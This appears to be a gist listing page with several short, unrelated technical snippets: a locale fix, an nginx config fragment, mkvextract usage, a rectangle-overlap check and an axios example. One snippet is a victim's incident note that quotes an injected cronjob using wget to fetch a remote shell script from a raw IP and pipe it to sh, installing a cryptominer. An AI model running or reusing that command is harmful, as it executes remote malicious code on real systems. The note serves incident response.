This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Problem | |
When login in, the shell prints: | |
``` | |
manpath: can't set the locale; make sure $LC_* and $LANG are correct | |
``` | |
## Solution | |
``` | |
sudo locale-gen "en_US.UTF-8" | |
sudo dpkg-reconfigure locales |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80; | |
listen [::]:80; | |
server_name site.com www.site.com; | |
return 301 https://$server_name$request_uri; | |
} | |
server { | |
listen [::]:443 ssl ipv6only=on; # managed by Certbot | |
listen 443 ssl; # managed by Certbot |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://www.exploit-db.com/exploits/49424 | |
In my case someone injected a cronjob to www-data : | |
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 | |
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 | |
It downloads a miner called kinsinger and uses 100% CPU with the process '/tmp/kdevtmpfsi' and 'kinsinger' | |
To check if you have this cron, look for every user's crontab: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FNAME="VideoFile.mkv" | |
mkvinfo -s "$FNAME" | head -3 | |
Track 1: video, codec ID: V_MPEG4/ISO/AVC (H.264 profile: High @L4.1), mkvmerge/mkvextract track ID: 0, language: und, default duration: 41.708ms (23.976 frames/fields per second for a video track), pixel width: 1920, pixel height: 864, display width: 1920, display height: 864 | |
Track 2: audio, codec ID: A_MPEG/L3, mkvmerge/mkvextract track ID: 1, language: und, channels: 2, sampling freq: 44100 | |
I frame, track 1, timestamp 00:00:00.083000000, size 1107, adler 0xda441ffe | |
mkvextract tracks "$FNAME" 0:only_vid 1:only_aud | |
Extracting track 0 with the CodecID 'V_MPEG4/ISO/AVC' to the file 'only_vid'. Container format: AVC/H.264 elementary stream | |
Extracting track 1 with the CodecID 'A_MPEG/L3' to the file 'only_aud'. Container format: MPEG-1 Audio Layer 2/3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a = {x: 200, y: 69, w: 401, h: 179} | |
b = {x: 300, y: 64, w: 424, h: 162} | |
a.x < b.w && | |
a.w > b.x && | |
a.y < b.h && | |
a.h > b.y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const axios = require('axios') | |
list = [0,1] | |
result = [] | |
const promises = list.map(ele => { | |
return new Promise(ressolve => { | |
axios.get('http://dummy.restapiexample.com/api/v1/employees') | |
.then(res => result.push(ele)) |